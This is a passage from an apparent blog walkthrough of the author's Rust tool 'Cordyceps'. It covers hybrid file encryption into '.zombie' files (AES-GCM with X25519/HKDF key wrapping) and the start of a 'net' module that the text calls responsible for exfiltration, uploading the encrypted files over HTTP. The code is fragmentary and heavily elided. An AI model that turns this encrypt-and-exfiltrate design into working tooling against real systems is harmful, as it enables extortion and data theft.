<span id="cb14-7"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">use</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">log::</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span>debug<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> info<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">};</span></span>
<span id="cb14-8"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">use</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">rand::</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span>RngCore<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">rngs::</span>OsRng<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">};</span></span>
<span id="cb14-9"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">use</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">x25519_dalek::</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span>EphemeralSecret<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> PublicKey<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> StaticSecret<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">};</span></span></code></pre></div></div>
<p>We start by importing several specialized crates. <a href="https://crates.io/crates/aes_gcm">aes_gcm</a> provides our symmetric encryption algorithm. <a href="https://crates.io/crates/hkdf">hkdf</a> implements a key derivation function. <a href="https://crates.io/crates/rand">rand</a> gives us cryptographically secure random numbers. And <a href="https://crates.io/crates/x25519_dalek">x25519_dalek</a> implements the Elliptic-Curve Cryptography for our public-key scheme.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb15" style="background: #f1f3f5;"><pre class="sourceCode rust code-with-copy"><code class="sourceCode rust"><span id="cb15-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">struct</span> ZombieHeader <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb15-2">    ephemeral_public_key<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> PublicKey<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb15-3">    encrypted_file_aes_key_with_tag<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> [<span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">u8</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">48</span>]<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb15-4">    key_enc_aes_nonce<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> Nonce<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span>Aes256Gcm<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;,</span></span>
<span id="cb15-5">    file_aes_nonce<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> Nonce<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span>Aes256Gcm<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;,</span></span>
<span id="cb15-6"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb15-7"></span>
<span id="cb15-8"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">impl</span> ZombieHeader <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb15-9">    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">const</span> HEADER_SIZE<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">usize</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">4</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">32</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">48</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">12</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">12</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb15-10"></span>
<span id="cb15-11">    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">fn</span> write_to<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span>W<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">Write</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span>(<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">self</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">mut</span> writer<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> W) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-&gt;</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">Result</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span>()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">io::</span><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">Error</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb15-12">        <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// ...</span></span>
<span id="cb15-13">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb15-14"></span>
<span id="cb15-15">    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">fn</span> from_reader<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span>R<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">Read</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span>(<span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">mut</span> reader<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> R) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-&gt;</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">Result</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">Self</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> CryptoError<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb15-16">        <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// ...</span></span>
<span id="cb15-17">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb15-18"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span></code></pre></div></div>
<p>I’m particularly proud of the logic for processing the <code>.zombie</code> file header, which makes great use of Rust’s generics. The <code>ZombieHeader</code> struct defines the fields that will be serialized into the file header. We then implement two methods on it: <code>write_to</code> and <code>from_reader</code>.</p>
<p>Notice the function signature: <code>fn write_to&lt;W: Write&gt;(&amp;self, mut writer: W)</code>. By using a generic type <code>W</code> that is bound by the <code>io::Write</code> trait, this function can write the header to any destination that implements <code>Write</code>—a file, a network socket, or even an in-memory buffer. This separates our serialization logic from the I/O implementation.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb16" style="background: #f1f3f5;"><pre class="sourceCode rust code-with-copy"><code class="sourceCode rust"><span id="cb16-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">mut</span> file <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">File::</span>open(path)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">?;</span></span>
<span id="cb16-2"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> file_size <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span></span>
<span id="cb16-3">  <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">usize</span><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">::</span>try_from(file<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>metadata()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">?.</span>len())<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>map_err(<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">|</span>_<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">|</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">CryptoError::</span>FileTooLarge)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">?;</span></span>
<span id="cb16-4"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">mut</span> plaintext <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">Vec</span><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">::</span>with_capacity(file_size)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb16-5">file<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>read_to_end(<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">mut</span> plaintext)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">?;</span></span>
<span id="cb16-6"><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">debug!</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Read {} bytes from {:?}"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> plaintext<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>len()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> path)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span></code></pre></div></div>
<p>In the <code>encrypt</code> function, we start by reading the entire file into a byte vector in memory. When converting the file length to a <code>usize</code>, we use <code>map_err</code> to provide a more specific error. The original <code>TryFromIntError</code> is too generic; we want to be explicit that the failure was due to the file being too large.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb17" style="background: #f1f3f5;"><pre class="sourceCode rust code-with-copy"><code class="sourceCode rust"><span id="cb17-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">mut</span> random_bytes <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> [<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0u8</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">56</span>]<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// 32 bytes key + 12 bytes nonce + 12 bytes key-enc nonce</span></span>
<span id="cb17-2">OsRng<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>try_fill_bytes(<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">mut</span> random_bytes)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">?;</span></span>
<span id="cb17-3"></span>
<span id="cb17-4"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> file_aes_key_bytes<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> [<span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">u8</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">32</span>] <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> random_bytes[<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">..</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">32</span>]<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>try_into()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>unwrap()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb17-5"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> file_aes_nonce_bytes<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> [<span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">u8</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">12</span>] <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> random_bytes[<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">32</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">..</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">44</span>]<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>try_into()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>unwrap()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb17-6"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> key_enc_aes_nonce_bytes<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> [<span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">u8</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">12</span>] <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> random_bytes[<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">44</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">..</span>]<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>try_into()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>unwrap()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb17-7"></span>
<span id="cb17-8"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> file_aes_key <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">aes_gcm::Key::</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span>Aes256Gcm<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">::</span>from_slice(<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span>file_aes_key_bytes)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb17-9"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> cipher_file_aes_gcm <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">Aes256Gcm::</span>new(file_aes_key)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb17-10"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> file_aes_nonce <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">Nonce::</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span>Aes256Gcm<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">::</span>from_slice(<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span>file_aes_nonce_bytes)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span></code></pre></div></div>
<p>This block generates all the random data we need for one encryption operation. We fill a byte array from a cryptographically secure random number generator (<code>OsRng</code>). Then, we take slices of this array to get our file encryption key and nonces. This is efficient as it minimizes calls to the OS for random data. The <code>try_fill_bytes</code> function works on a mutable reference (<code>&amp;mut</code>), modifying the <code>random_bytes</code> array in place without taking ownership.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb18" style="background: #f1f3f5;"><pre class="sourceCode rust code-with-copy"><code class="sourceCode rust"><span id="cb18-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> ephemeral_private <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">EphemeralSecret::</span>random_from_rng(OsRng)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb18-2"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> ephemeral_public <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">PublicKey::</span>from(<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span>ephemeral_private)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb18-3"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// ...</span></span>
<span id="cb18-4"></span>
<span id="cb18-5"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> shared_secret <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> ephemeral_private<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>diffie_hellman(public_key)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb18-6"></span>
<span id="cb18-7"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> hkdf <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">Hkdf::</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">sha2::</span>Sha256<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">::</span>new(<span class="cn" style="color: #8f5902;
background-color: null;
font-style: inherit;">None</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> shared_secret<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>as_bytes())<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb18-8"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// ...</span></span>
<span id="cb18-9">hkdf<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>expand(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">b"key_encapsulation_aes_key_derivation"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">mut</span> key_enc_aes_key_derived_bytes)</span></code></pre></div></div>
<p>Next, we implement an ECIES-like key encapsulation scheme. We generate a new, one-time-use (ephemeral) key pair. The ephemeral private key is combined with the user’s main public key via a Diffie-Hellman key exchange to produce a shared secret. It’s bad practice to use a raw shared secret as an encryption key, so we pass it through an HKDF to derive a strong AES key. This derived key is then used to encrypt the file’s AES key.</p>
<p>The beauty of this scheme is that the recipient can re-derive the exact same shared secret using their main private key and the ephemeral public key, which we store in the <code>.zombie</code> file’s header. See <code>docs/cryptography.md</code> for a diagram on this scheme.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb19" style="background: #f1f3f5;"><pre class="sourceCode rust code-with-copy"><code class="sourceCode rust"><span id="cb19-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> plaintext <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> cipher_file_aes_gcm</span>
<span id="cb19-2">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>decrypt(<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">...</span>)</span>
<span id="cb19-3">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>map_err(<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">|</span>e<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">|</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb19-4">        <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> e <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">==</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">aes_gcm::aead::</span><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">Error</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb19-5">            <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">CryptoError::</span>AuthenticationTag</span>
<span id="cb19-6">        <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span> <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">else</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb19-7">            <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">CryptoError::</span>Decryption(<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">...</span>)</span>
<span id="cb19-8">        <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb19-9">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span>)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">?;</span></span></code></pre></div></div>
<p>The <code>decrypt</code> function reverses this process. It reads the header, re-derives the shared secret, decrypts the file key, and finally decrypts the file content. AES-GCM is an AEAD cipher, which means it provides authentication in addition to confidentiality. The GCM authentication tag ensures the data hasn’t been tampered with. If the tag is invalid, our <code>map_err</code> logic catches the specific error and returns our custom <code>CryptoError::AuthenticationTag</code>, preventing the program from using corrupted data.</p>
</section>
<section id="net" class="level3">
<h3 class="anchored" data-anchor-id="net">net</h3>
<p>The <code>net</code> module is responsible for exfiltration, uploading the encrypted <code>.zombie</code> files over HTTP.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb20" style="background: #f1f3f5;"><pre class="sourceCode rust code-with-copy"><code class="sourceCode rust"><span id="cb20-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">pub</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">async</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">fn</span> upload_file(</span>
<span id="cb20-2">    client<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span>Client<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb20-3">    base_url<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">str</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb20-4">    local_path<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">Path</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb20-5">) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-&gt;</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">Result</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">u16</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> AppError<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb20-6"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// ...</span></span></code></pre></div></div>
<p><code>upload_file</code> is an <code>async</code> function, which is essential for network-bound applications. While Cordyceps doesn’t yet upload files concurrently, this function is ready for it. On success, it returns the HTTP status code as a <code>u16</code>.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb21" style="background: #f1f3f5;"><pre class="sourceCode rust code-with-copy"><code class="sourceCode rust"><span id="cb21-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">mut</span> sanitized_file_name <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">String</span><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">::</span>with_capacity(file_name<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>len())<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb21-2"><span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">for</span> c <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">in</span> file_name<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>chars() <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb21-3">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> c<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>is_ascii_alphanumeric() <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">||</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">matches!</span>(c<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">'.'</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">|</span> <span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">'-'</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">|</span> <span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">'_'</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
